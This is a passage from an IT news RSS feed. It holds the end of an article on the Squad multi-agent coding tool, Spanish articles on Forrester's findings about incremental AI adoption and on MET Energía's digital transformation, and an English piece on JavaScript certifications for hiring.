<p><a href="https://bradygaster.github.io/squad/docs/reference/cli/">Squad’s CLI works well for basic projects</a> but using Squad as part of Copilot also gives access to additional resources, including <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) servers, which can help with more complex application developments as well as providing more useful grounding for specific Squad agents. However, there’s enough flexibility here to fit Squad into your existing toolchain, allowing you to make it part of your workflow, rather than vice versa.</p>



<p><a href="https://bradygaster.github.io/squad/docs/get-started/choosing-your-path/">There is a third way to use Squad</a>: working with the Squad SDK to build your own automation framework around the Squad tooling. Here you’ll use <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> to manage agent creation, as well as writing your own routers and coordination services. The Squad SDK is a powerful tool that can be used as part of more formal development processes, for example integrating into a <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD</a> pipeline to help triage a high volume of pull requests. As all three ways of working with Squad use the same back end, they all share the same memories, so will respond to inputs in similar ways.</p>



<h2 class="wp-block-heading">Using Squad to write and fix code</h2>



<p>I used Squad from the Copilot CLI, building a basic Node Express application, with a web front end. What was perhaps most interesting about the process was that the Squad harness allowed its role-based agents to work in parallel: an agent building back-end code to support service APIs could run at the same time as an agent that was building a React-based user interface. The initial squad of agents that Squad generated included an architect as well as front-end and back-end developers.</p>



<p>Squad’s output was, at least in my test applications, clear and easy to understand, ready to be used as the basis for a more complex application. It was delivered quickly, using a test-driven approach to ensure that code performed as intended, with no obvious bugs. By taking a formal approach to software development, Squad can reduce risks and explain its actions to a human user. It can also be used to document the code it delivers, using another specialized agent to deliver documentation.</p>



<p>There’s plenty of human supervision in the process, though there’s also the option of handing over control of repetitive tasks to Squad. After some time, you can build up enough trust that you don’t need to approve every new file or directory. A squad works in the context of your Git repository, but if you want more security you can choose to run your squad inside a dev container, keeping it in an isolated environment.</p>



<h2 class="wp-block-heading">Here comes the artificial junior developer</h2>



<p>We’re still at the very beginning of the process of using AI-based tooling as part of our development workflows, but the available tools are starting to mature very quickly — both as models improve and as we learn how to build the long workflows needed to implement agent-based applications.</p>



<p>Squad’s approach to development mixes well-understood software development methodologies with the team structure necessary to deliver applications. For now, as Squad is alpha code, it’s something to experiment with in limited, well-understood use cases.</p>



<p>But as our understanding of how to use AI-powered development tools grows, it’s easy to see how AI coding might evolve to become something like Squad — a way of harnessing agents to behave like a pocket development team that keeps a human in the loop as development lead to a team of artificial junior developers. And maybe we’ll be able to keep up with Claude Mythos and its descendants.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Las empresas siguen buscando mejoras incrementales, no transformadoras, con la IA]]></title>
<description><![CDATA[La mayoría de las empresas aún no han aprovechado el poder transformador de la IA, centrándose en cambio en mejoras incrementales de productividad y eficiencia que no conducen a ventajas competitivas, según un informe de la firma de análisis Forrester. Las mejoras internas de productividad deriva...]]></description>
<link>https://tsecurity.de/de/3476953/it-nachrichten/las-empresas-siguen-buscando-mejoras-incrementales-no-transformadoras-con-la-ia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3476953/it-nachrichten/las-empresas-siguen-buscando-mejoras-incrementales-no-transformadoras-con-la-ia/</guid>
<pubDate>Thu, 30 Apr 2026 11:16:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La mayoría de las empresas aún no han aprovechado el poder transformador de la IA, centrándose en cambio en mejoras incrementales de productividad y eficiencia que no conducen a ventajas competitivas, según un informe de la firma de análisis Forrester. Las mejoras internas de productividad derivadas de la IA siguen siendo marginales, no sustanciales, ya que las organizaciones no han descubierto cómo generar beneficios más significativos a través de la tecnología, afirma Forrester en su reciente informe <em><a href="https://www.forrester.com/report/accelerate-your-ai-voyage/RES193043" target="_blank" rel="nofollow">Accelerate Your AI Voyage</a></em>.</p>



<p>La evidencia: el 43% de los responsables de la toma de decisiones sobre IA encuestados por la empresa miden las mejoras de productividad obtenidas gracias a la IA, y el 41% miden las ganancias de eficiencia, pero solo el 32% vincula los resultados de la IA con los beneficios o los ingresos.</p>



<p>“Ahorrar 10.000 horas de trabajo de los empleados puede parecer bueno sobre el papel, pero no cubrirá la factura de las GPU, y mucho menos impulsará la reinvención”, escriben los analistas de Forrester en el informe. “Este pensamiento incremental constituye la base de una desconexión fundamental con respecto a la promesa del potencial transformador de la IA”.</p>



<p>Solo entre el 5% y el 15% de las organizaciones cuentan actualmente con una estrategia de IA eficaz, y es probable que el porcentaje se sitúe más cerca del extremo inferior, estima Brian Hopkins, vicepresidente de tecnologías emergentes de Forrester. Al centrarse en las ganancias de productividad o eficiencia, la mayoría de las organizaciones se pierden el verdadero poder de la IA, añade. “La eficiencia no es estrategia; es gestión de proyectos. Estás intentando mejorar tus procesos actuales de forma incremental”, dice.</p>



<p>Dar a los empleados un copiloto para ver qué hacen con él no es un enfoque ganador, añade Hopkins: “Toda esta idea de que vamos a invertir de forma incremental en productividad y que, de alguna manera, eso va a capturar el potencial que ofrece la IA, es una quimera”.</p>



<p>Por otra parte, las mejoras de productividad de la IA suelen depender de recortes de plantilla tras la implementación, añade. “El problema de las mejoras incrementales de productividad es que, para obtener los beneficios que exige tu director financiero, tienes que implementar una solución, demostrar que funciona y, a continuación, despedir a gente”, relata. “¿Crees que las personas a las que vas a despedir te van a ayudar a hacerlo? No lo harán. Es un trabajo complicado y desagradable”.</p>



<p>Los datos de Forrester coinciden con otra encuesta reciente del proveedor de plataformas de agentes de IA Decidr, que desveló que el 40% de las empresas estadounidenses obtienen la mayor parte del valor de su IA de herramientas al estilo de ChatGPT, en lugar de agentes o modelos de IA personalizados.</p>



<h2 class="wp-block-heading">Maneras de pensar ya obsoletas </h2>



<p>Otros líderes de TI también ven los problemas destacados en el estudio de Forrester. Muchas empresas se centran en estrategias de IA a la altura de los carros tirados por caballos en un mundo que avanza hacia los coches autónomos, afirma Christine Park, directora de transformación de IA en Branch, proveedor de una plataforma de seguimiento de enlaces móviles.</p>



<p>“Esto es exactamente lo que ocurre cuando el mercado avanza más rápido que el modelo operativo. Los líderes están optimizando la eficiencia de forma limitada dentro de las funciones en lugar de replantearse cómo debería cambiar fundamentalmente el trabajo en sí”, afirma.</p>



<p>Las mejoras en productividad y eficiencia no supondrán un cambio significativo para la mayoría de las organizaciones, añade. La verdadera transformación de la IA no se limita a habilitar funciones individuales, sino que requiere coordinación entre todos los flujos de trabajo. “La IA para la eficiencia de costes eleva el nivel mínimo, ¿y qué?”, dice Park. “Si solo se trata de una estrategia de eficiencia, no vas a obtener más que ganancias a corto plazo. Si se compara la reducción de costes con la eficiencia, podemos crecer sin un aumento proporcional de la plantilla, pero se necesita una verdadera transformación para elevar el techo”.</p>



<p>En cambio, las organizaciones inteligentes se centrarán en la IA como una amplificación tanto de los ingresos como de la experiencia de las personas, añade. La naturaleza del trabajo está cambiando, ya que ahora se desarrolla en flujos de trabajo multidimensionales en lugar de tareas paso a paso, afirma.</p>



<p>“La IA se está tratando como una característica cuando debería tratarse como una transformación”, afirma. “Eso significa adoptar una perspectiva centrada en las personas y que los líderes cambien la forma en que formamos a las personas, definimos los roles y medimos el éxito. La IA es un cambio humano, no solo una nueva herramienta”.</p>



<h2 class="wp-block-heading">Auténtica transformación del flujo de trabajo</h2>



<p>Las organizaciones deberían buscar una transformación del flujo de trabajo en toda la empresa, añade Mike Flynn, líder de consultoría del sector tecnológico en la firma de servicios profesionales EY. Muchas organizaciones se centran en la automatización a nivel de tareas en lugar de rediseñar los flujos de trabajo de principio a fin, indica.</p>



<p>Al centrarse en las mejoras a nivel de tareas, las empresas añaden costes de herramientas de IA y de computación sin eliminar una cantidad significativa de trabajo del sistema, lo que conduce a lo que Flynn denomina “trabajo atrapado”.</p>



<p>Las organizaciones deben adoptar un enfoque centrado en la IA para todos sus flujos de trabajo e intentar rediseñar los procesos para eliminar el trabajo humano repetitivo en la medida de lo posible, recomienda Flynn. Las organizaciones deberían entonces añadir la intervención humana cuando sea necesaria, señala. “Si piensas en aplicar la IA a tu problema empresarial, a medida que sigues añadiendo IA, el esfuerzo que se requiere sigue aumentando, en comparación con rediseñar tus procesos de tal manera que la IA se integre en ellos”, añade.</p>



<p>Crear una estrategia de IA duradera va más allá de implementar unas pocas herramientas de IA para los empleados, afirma Flynn, y añade que EY guía a los clientes a través de un plan de valor de la IA que les muestra los posibles resultados de diversas estrategias de IA. “Las empresas se están dando cuenta de que esto no es tan fácil como simplemente habilitar y dar a las personas herramientas con las que puedan hacer algo y que se puedan acoplar a sus trabajos actuales”, agrega. “Para mí, lo importante es pensar en rediseñar los procesos operativos. Se trata de una transformación de los procesos y de las personas tanto como de la IA en sí misma”.</p>



<h2 class="wp-block-heading">¿Están las organizaciones listas para dar el salto?</h2>



<p>La mayoría de las organizaciones aún no están preparadas para dar el siguiente paso, sugiere Thomas Prommer, expresidente de la empresa de diseño, TI e IA Huge. Los casos de uso sustanciales, como la revisión de precios y la toma de decisiones en la cadena de suministro, requieren prácticas de gestión del riesgo de los modelos y registros de auditoría que la mayoría de las empresas aún no tienen, afirma.</p>



<p>“La productividad interna es el único caso de uso que la organización puede probar realmente de forma segura con la gobernanza actual”, apunta Prommer. “Están utilizando copilotos porque los copilotos no necesitan un comité de riesgo de modelos”.</p>



<p>Además, la transición de ganancias incrementales a ganancias sustanciales impulsadas por la IA requiere que alguien o algo fuerce el cambio, como un director ejecutivo, un inversor activista o una sacudida competitiva, añade. Los directores de sistemas de información (CIO) rara vez pueden impulsar el cambio por sí solos, afirma.</p>



<p>Sin embargo, algunas organizaciones han dejado atrás los ahorros de productividad porque no aparecen en las cuentas de resultados (P&amp;L), dice Prommer. “Si le ahorras a un ingeniero 90 minutos al día, eso no aparece en la cuenta de resultados; aparece como: ‘Hemos lanzado un 15% más de funciones”, afirma. “Los consejos de administración quieren una partida concreta. Las empresas que pasaron a casos de uso sustanciales lo hicieron porque contaban con un único responsable de la cuenta de resultados dispuesto a arriesgar sus cifras por ello”.</p>



<p>Hopkins, de Forrester, insta a las organizaciones a replantearse las estrategias de IA y a centrarse en cambios sustanciales, a pesar de las dificultades. Si las organizaciones apuntan lo suficientemente alto, pueden utilizar la IA para permitir una transformación empresarial completa y encontrar usos de la IA que impulsen ventajas competitivas, afirma.</p>



<p>Forrester aconseja a los responsables de TI y a los líderes empresariales que se centren en cuatro áreas clave:</p>



<ul class="wp-block-list">
<li>Definir los resultados empresariales y las métricas de éxito para sus iniciativas de IA.</li>



<li>Identificar casos de uso específicos para la implementación de la IA alineados con esos resultados empresariales.</li>



<li>Establecer una estructura para planificar, probar e implementar aplicaciones de IA.</li>



<li>Ampliar las aplicaciones de IA utilizando el poder de la nube, los modelos de vanguardia y los agentes integrados.</li>
</ul>



<p>Si las organizaciones adoptan el enfoque adecuado, pueden implementar la IA de formas que generen ventajas competitivas reales, según Hopkins. “La estrategia consiste en aplicar una fuerza masiva, basada en una visión que uno tiene, que le da fuerza y debilita a la competencia. Se tiene una visión que los competidores no ven y se establece una capacidad que los competidores no pueden replicar”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[MET Energía impulsa su transformación digital en un sector cada vez más complejo]]></title>
<description><![CDATA[La transformación digital se ha convertido en uno de los grandes motores de cambio en el sector energético. La volatilidad de los mercados, la transición hacia modelos más sostenibles y la creciente complejidad en la gestión del consumo están obligando a las compañías a apoyarse cada vez más en l...]]></description>
<link>https://tsecurity.de/de/3467594/it-nachrichten/met-energa-impulsa-su-transformacin-digital-en-un-sector-cada-vez-ms-complejo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3467594/it-nachrichten/met-energa-impulsa-su-transformacin-digital-en-un-sector-cada-vez-ms-complejo/</guid>
<pubDate>Mon, 27 Apr 2026 12:01:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La transformación digital se ha convertido en uno de los grandes motores de cambio en el sector energético. La volatilidad de los mercados, la transición hacia modelos más sostenibles y la creciente complejidad en la gestión del consumo están obligando a las compañías a apoyarse cada vez más en la tecnología para optimizar sus procesos y mejorar su capacidad de adaptación.</p>



<p>En este nuevo escenario, el dato se ha convertido en un activo estratégico. Plataformas de analítica avanzada, inteligencia artificial o sistemas de monitorización del consumo en tiempo real permiten anticipar la demanda, mejorar la gestión del riesgo y ofrecer a los clientes una visión más precisa y transparente de su consumo energético. Al mismo tiempo, la automatización de procesos internos está ayudando a reducir cargas administrativas, mejorar la eficiencia operativa y acelerar la toma de decisiones.</p>



<p>La digitalización ha dejado de ser una cuestión tecnológica para convertirse en una palanca clave para la competitividad. En este contexto, <strong>MET Energía</strong>, compañía internacional del sector energético con más de 1.100 empleados y presencia en 17 países, lleva varios años impulsando una estrategia tecnológica orientada a digitalizar procesos, mejorar la gestión del dato y reforzar su capacidad de adaptación a un entorno energético en constante evolución.</p>



<p>La transformación digital en MET Energía se ha abordado desde el principio como un proceso transversal que afecta a distintas áreas de la organización. Según explica <strong>Ramón Vicioso, director de TI de MET Energía,</strong> este proceso se intensificó especialmente en 2024, cuando la compañía decidió acelerar su hoja de ruta tecnológica con el objetivo de abordar la digitalización de procesos que todavía se realizaban de forma manual y tener así “una visual del <em>roadmap</em> de nuestra infraestructura de IT”.  </p>



<p>Uno de los principales desafíos en esta fase inicial ha sido identificar correctamente los procesos susceptibles de digitalización y establecer una gobernanza adecuada del dato dentro de la organización.</p>



<h2 class="wp-block-heading">El dato y la automatización como pilares del nuevo modelo</h2>



<p>En la actualidad, la estrategia tecnológica de MET Energía se basa en la incorporación progresiva de plataformas digitales integradas, automatización de procesos y herramientas avanzadas de analítica de datos. Según explica el responsable de TI, esta evolución ha permitido mejorar tanto la eficiencia interna de la compañía como la relación con los clientes. “En los últimos años, MET Energía ha experimentado una evolución muy sólida a nivel tecnológico, alineada con la digitalización del sector energético y con un enfoque claro en la eficiencia y el dato”, señala.</p>



<p>Para ello, la compañía ha reforzado especialmente sus capacidades relacionadas con la gestión inteligente de la energía, la previsión de la demanda y la gestión del riesgo en un mercado energético cada vez más volátil.</p>



<p>Esta evolución tecnológica ha tenido también un impacto directo en los clientes, que ahora disponen “mayor transparencia, información más accesible y en tiempo real, procesos más ágiles y soluciones más personalizadas según su perfil de consumo”, explica Vicioso.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/Foto.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Ramón Vicioso, director de TI de MET Energía" class="wp-image-4163655" width="1024" height="830" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">MET Energía. En la imagen, Ramón Vicioso.</p></div>



<h2 class="wp-block-heading">Inteligencia artificial y analítica para anticipar el consumo</h2>



<p>El uso de tecnologías emergentes es otro de los elementos clave dentro del proceso de transformación digital de la compañía. En este sentido, MET Energía está desarrollando aplicaciones basadas en inteligencia artificial y analítica avanzada orientadas a mejorar la previsión de consumo energético y la conciliación de facturas con los datos recibidos de las distribuidoras. “Las aplicaciones que más estamos desarrollando son para la generación de previsiones de consumo y la conciliación de facturas de energía contra los consumos recibidos desde las distintas distribuidoras”, explica Vicioso.</p>



<p>En este proceso, el departamento de TI desempeña un papel estratégico y transversal dentro de la organización. “No se limita únicamente a dar soporte tecnológico, sino que actúa como un facilitador clave del negocio, alineando la tecnología con los objetivos corporativos y acompañando a las distintas áreas en su transformación digital”, señala el responsable tecnológico.</p>



<h2 class="wp-block-heading">Proyecto Yooz: automatización contable</h2>



<p>Uno de los proyectos recientes dentro del proceso de digitalización de MET Energía ha sido la implantación de Yooz, una solución de automatización del proceso de cuentas a pagar integrada con el ERP Microsoft Dynamics NAV.</p>



<p>Antes de su implantación, el departamento contable debía introducir manualmente las facturas de proveedores, un proceso que implicaba una elevada carga administrativa y retrasos en la contabilización. “El objetivo principal es el ahorro del tiempo en nuestro departamento contable ya que reciben muchas facturas en formato PDF y tenían que entrar en cada fichero y teclear manualmente dicha factura en nuestro sistema contable”, explica Vicioso.</p>



<p>La nueva solución ha permitido automatizar la lectura y el procesamiento de facturas, eliminando tareas repetitivas y agilizando el flujo de aprobación.</p>



<p>Uno de los factores decisivos para su implantación fue su compatibilidad nativa con <em>Microsoft Dynamics NAV</em>, el sistema contable de la empresa, lo que permitió una integración directa y sin desarrollos adicionales. Además, su interfaz sencilla e intuitiva facilitó una rápida adopción por parte de los usuarios, mientras que su tecnología de <em>Smart Data Extraction</em> basada en inteligencia artificial eliminó la necesidad de crear plantillas para la lectura de facturas, aportando flexibilidad y precisión.</p>



<p>Los resultados han sido significativos: MET Energía ha logrado acelerar notablemente el procesamiento y validación de facturas, eliminando tareas manuales repetitivas y reduciendo de forma significativa los plazos desde la recepción hasta el pago. Esta automatización ha permitido a los equipos administrativos centrarse en tareas de mayor valor añadido, mejorando tanto la productividad como la satisfacción interna. “Ahora podemos procesar más de 200 facturas en una hora cuando antes nos podía llevar varios días subirlas a nuestro sistema de aprobación de factura y creación en nuestro sistema contable”, señala el responsable tecnológico.</p>



<p>Además de acelerar los procesos, la automatización ha mejorado la trazabilidad y el control del proceso contable, liberando recursos internos para tareas de mayor valor añadido.</p>



<h2 class="wp-block-heading">Próximos retos: modernizar infraestructuras y reforzar la gobernanza del dato</h2>



<p>De cara a los próximos años, la compañía continuará avanzando en la modernización de su infraestructura tecnológica y en el desarrollo de nuevas capacidades digitales.</p>



<p>Entre los retos más inmediatos se encuentra la actualización de algunos sistemas tecnológicos y el refuerzo de la gobernanza del dato, un elemento clave para poder incorporar soluciones basadas en inteligencia artificial. “Modernizar toda nuestra infraestructura que se ha quedado obsoleta y seguir trabajando con la gobernanza del dato para incluir agentes digitales con tecnología IA”, resume Vicioso.</p>



<p>En un sector marcado por la volatilidad de los mercados energéticos, la presión regulatoria y la aceleración tecnológica, la transformación digital se ha convertido en una condición imprescindible para mantener la competitividad. En el caso de MET Energía, este proceso no se plantea como una iniciativa puntual, sino como una evolución permanente que seguirá desarrollándose en los próximos años.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The best JavaScript certifications for getting hired]]></title>
<description><![CDATA[JavaScript remains one of the most in-demand programming languages for web development—and that’s not likely to change anytime soon. While a JavaScript certification alone may not land anyone a development job, it definitely has its benefits.



“JavaScript isn’t just holding steady, it is still ...]]></description>
<link>https://tsecurity.de/de/3467504/ai-nachrichten/the-best-javascript-certifications-for-getting-hired/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3467504/ai-nachrichten/the-best-javascript-certifications-for-getting-hired/</guid>
<pubDate>Mon, 27 Apr 2026 11:17:52 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> remains one of the most in-demand programming languages for web development—and that’s not likely to change anytime soon. While a JavaScript certification alone may not land anyone a development job, it definitely has its benefits.</p>



<p>“JavaScript isn’t just holding steady, it is still the most in-demand language in the market,” says <a href="https://www.linkedin.com/in/dkroque">Dan Roque</a>, recruitment manager at <a href="https://hruckus.com/">HRUCKUS</a>, a provider of professional and career services.</p>



<p>The <a href="https://survey.stackoverflow.co/2025/">Stack Overflow 2025 Developer Survey</a> of more than 49,000 developers shows that JavaScript remains the most-used programming language, coming in ahead of HTML/CSS, <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a>, and <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a>.</p>



<p>“It has held the top spot for over a decade, every single year since the survey began in 2011,” Roque says. JavaScript’s core advantage is its ubiquity, he says. “A developer who knows it well can contribute to front-end interfaces, back-end APIs [application programming interfaces], serverless functions, and automation pipelines without switching languages,” he says.</p>



<p>JavaScript remains foundational because the web still serves as the default app platform, and most JavaScript growth is really the ecosystem expanding, with frameworks, tooling, and TypeScript becoming the common enterprise path, says <a href="https://www.joshgeorge.me/">Josh George</a>, founder of Josh George Consulting, an independent technology strategy consulting firm.</p>



<p>“JavaScript is the universal runtime for user experiences and caters to browsers, Node-based back ends, edge/serverless functions, and cross-platform apps,” George says. “The greatest benefit is a single language family across client and server, plus the added bonus of an enormous package ecosystem and mature tooling.”</p>



<p>The programming language has evolved from being just a browser scripting language into a <a href="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html">full-stack development platform</a>, says <a href="https://www.linkedin.com/in/lucasbotzen/">Lucas Botzen</a>, CEO and human resources manager at careers site <a href="https://rivermate.com/">Rivermate</a>. “From an HR and industry perspective, organizations increasingly prefer technologies that allow teams to build both front-end and back-end systems with the same language,” he says. “That consistency reduces hiring complexity and accelerates development cycles.”</p>



<h2 class="wp-block-heading">JavaScript and AI</h2>



<p>AI-powered coding tools such as <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a> and <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a> can increase productivity related to JavaScript development, Rogue says, with studies showing they can help developers complete JavaScript tasks faster. As a result, many developers plan to use AI in their development process, he says.</p>



<p>“Employers aren’t just looking for developers who know JavaScript. They’re increasingly looking for [developers] who can evaluate and orchestrate AI-generated code within a JavaScript workflow,” Rogue says. AI is reshaping what mid-level and senior JaveScript roles actually look like, he says.</p>



<p>“However, more and more technical testing and final interviews, especially in government-related roles, prohibit the use of AI during the last legs of the process, to ensure the talent actually can code and understand code without AI, and to validate whether they can review and troubleshoot AI-generated code on their own,” Rogue says.</p>



<p>AI helps most with the “surface area” work, “meaning scaffolding components, generating tests, suggesting refactors, and explaining unfamiliar code paths,” George says. “The bigger shift though is that teams expect developers to spend less time typing boilerplate and more time making judgment calls like with API design, performance budgets, security, and maintainable architectures.”</p>



<h2 class="wp-block-heading">JavaScript certs and the hiring process</h2>



<p>Okay, so JavaScript is still a highly important piece of the development ecosystem. But is having a JavaScript certification necessary today? “It depends on context, but the answer I’d give is ‘yesn’t,’” Rogue says. “It is increasingly important, especially in structured hiring environments, because it provides a credibility anchor that résumés alone often can’t. But it doesn’t replace actual demonstrated skill.”</p>



<p>There isn’t really a widely accepted global authority or standard on issuing JaveScript certifications, Rogue says, “so it’s much lower on the totem pole of validity when it comes to skill-signaling. Still, for client-facing or compliance-driven roles, certifications provide third-party validation that reduces perceived risk when a client is approving a candidate.”</p>



<p>For back-end and full-stack roles, performance-based credentials that require solving real coding problems in a timed, proctored environment remain the gold standard, Rogue says. “Employers have simply grown skeptical of multiple-choice tests.”</p>



<p>In most hiring decisions, “a JavaScript certification is not the primary signal of competence,” says <a href="https://www.linkedin.com/in/jacob-strauss-699546196/">Jacob Strauss</a>, CTO at <a href="https://www.meetchase.ai/">ChaseLabs</a>, a provider of AI-based sales development tools. “They tend to help more as evidence of structured study than as a decisive hiring credential.” </p>



<p>In practice, the strongest way to stand out is to pair any certification with a small, real project. “JavaScript changes continuously, and what matters in production is the ability to build, debug, and operate real systems,” Strauss says. “That said, certifications can be useful in specific scenarios: early-career candidates, career switchers who need a credible baseline, or organizations trying to standardize <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> skills across a team. In those cases, a cert can reduce uncertainty, but it works best as supporting evidence alongside shipped work.”</p>



<p>A JavaScript certification can serve as a screening mechanism or tie-break factor. “In high-volume pipelines, a cert may help a résumé survive the first pass, especially when applicants have limited professional history,” Strauss says. “For roles that involve running Node services in production, a certification can signal familiarity with asynchronous patterns, HTTP fundamentals, debugging, and service reliability concerns.”</p>



<p>Even then, however, strong portfolios tend to outweigh credentials, Strauss says. A clean repository with typed code, sensible architecture, tests, and clear commit history is a far more predictive indicator than a generic certificate,” he says.</p>



<p>Certifications can be influential in high-volume hiring, where recruiters need fast signals, or in regulated and enterprise contexts that prefer standardized training, George says. “It can also help when teams need specific competency areas, such as modern framework fundamentals, testing practices, secure coding basics, etc., and want a consistent baseline,” he says.</p>



<h2 class="wp-block-heading">In-demand JavaScript certifications</h2>



<p><a href="https://ciwcertified.com/product/ciw-javascript-specialist/">CIW JavaScript Specialist</a>. This certification covers core JavaScript topics such as functions, variables, Document Object Model (DOM) manipulation, form validation, event handling, AJAX/JSON asynchronous communication, and <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">object-oriented programming</a>. Candidates learn how to tackle complex scripting scenarios and debug code, according to Certification Partners, which owns and manages CIW certifications. The CIW JavaScript Specialist certification equips candidates with practical skills to build dynamic, interactive, and user-friendly websites using JavaScript, says Certification Partners.</p>



<p><a href="https://www.freecodecamp.org/learn/javascript-algorithms-and-data-structures/">JavaScript Algorithms and Data Structures</a>. Administered by FreeCodeCamp, this is considered an ideal certification for JavaScript beginners. Candidates will learn the JavaScript fundamentals such as variables, arrays, objects, loops, functions, DOM, and more. They’ll also learn about object-oriented programming, functional programming, and algorithmic thinking.</p>



<p><a href="https://www.w3schools.com/js/js_exam.asp">JavaScript Developer Certificate</a>. This certification validates proficiency in JavaScript programming, HTML DOM manipulation, and web development fundamentals. Before applying for the exam, candidates need to have a fundamental knowledge of JavaScript and HTML DOM, according to W3Schools, which offers the certification. The certification tests ability to manipulate HTML DOM and validates proficiency in dynamic website development.</p>



<p><a href="https://jsinstitute.org/jsa-certification">JSA—Certified Associate JavaScript Programmer</a>. This certification from the JS Institute, which is managed by OpenEDG, demonstrates a candidate’s proficiency in object-oriented analysis, design, and programming and the more advanced use of functions in the JavaScript language, according to the institute. Becoming JSA-certified ensures that individuals are acquainted with how JavaScript enables them to design, develop, deploy, refactor, and maintain JavaScript programs and applications.</p>



<p><a href="https://jsinstitute.org/jse-certification">JSE—Certified Entry-Level JavaScript Programmer</a>. Also available from the JS Institute, this certification demonstrates a candidate’s understanding of the JavaScript core syntax and semantics, as well as their proficiency in using the most essential elements of the language, tools, and resources to design, develop, and refactor simple JavaScript programs. Becoming JSE-certified ensures that individuals are acquainted with the most essential means provided by the core JavaScript language, so they can work toward the intermediate level, the institute says.</p>



<p><a href="https://mimo.org/certifications/javascript-certification">Mimo JavaScript Certification</a>. This certification verifies a candidate’s ability to build interactive features, manage data, and understand the logic that powers modern front-end and full-stack development, according to Mimo. It shows mastery of variables, functions, loops, conditionals, arrays, objects, and ES6 features, and provides hands-on experience solving coding challenges. Participants work through practical projects such as dynamic web pages, forms, and interactive user interface components.</p>



<p><a href="https://www.udemy.com/course/openjs-nodejs-application-developer-jsnad-practice-exams/">OpenJS Node.js Application Developer (JSNAD)</a>. Created by the OpenJS Foundation, but <a href="https://training.linuxfoundation.org/jsnad-cert-inactive/">retired in September 2025</a>, the JSNAD certification demonstrates the ability to manage Node.js core modules, implement technical asynchronous logic, handle technical streams and buffers, and configure technical security protocols. Candidates were tested on solving complex back-end development problems and implementing scalable server-side applications in real world scenarios, according to Udemy, which still offers classes and practice exams related to JSNAD certification. The program explores the technical aspects of buffers, streams, and file system operations within the Node.js runtime, Udemy says.</p>



<p><a href="https://certificates.dev/javascript#certificates">Senior JavaScript Developer</a>. Offered by Certificates.dev, the Senior JavaScript Developer certification validates mastery in JavaScript, including prototypes, inheritance, and performance optimization techniques, according to Certificates.dev. It demonstrates proficiency in advanced asynchronous programming, testing, and security vulnerability mitigation. It’s designed for experienced developers aiming for technical leadership roles.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La relación entre el CIO y el CISO, a examen: ¿por fin se ha roto la frontera entre innovación y seguridad?]]></title>
<description><![CDATA[Sonia Segade, directora general de Innovación, Sostenibilidad y Transformación Digital de Renfe, Ricard Guasch, CIO de Zurich Insurance Company, Enric Llaudet, director de Seguridad de la Información en el ámbito internacional de Teladoc Health, y Carlos Manchado, CISO global de Acciona, protagon...]]></description>
<link>https://tsecurity.de/de/3460906/it-nachrichten/la-relacin-entre-el-cio-y-el-ciso-a-examen-por-fin-se-ha-roto-la-frontera-entre-innovacin-y-seguridad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3460906/it-nachrichten/la-relacin-entre-el-cio-y-el-ciso-a-examen-por-fin-se-ha-roto-la-frontera-entre-innovacin-y-seguridad/</guid>
<pubDate>Fri, 24 Apr 2026 12:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
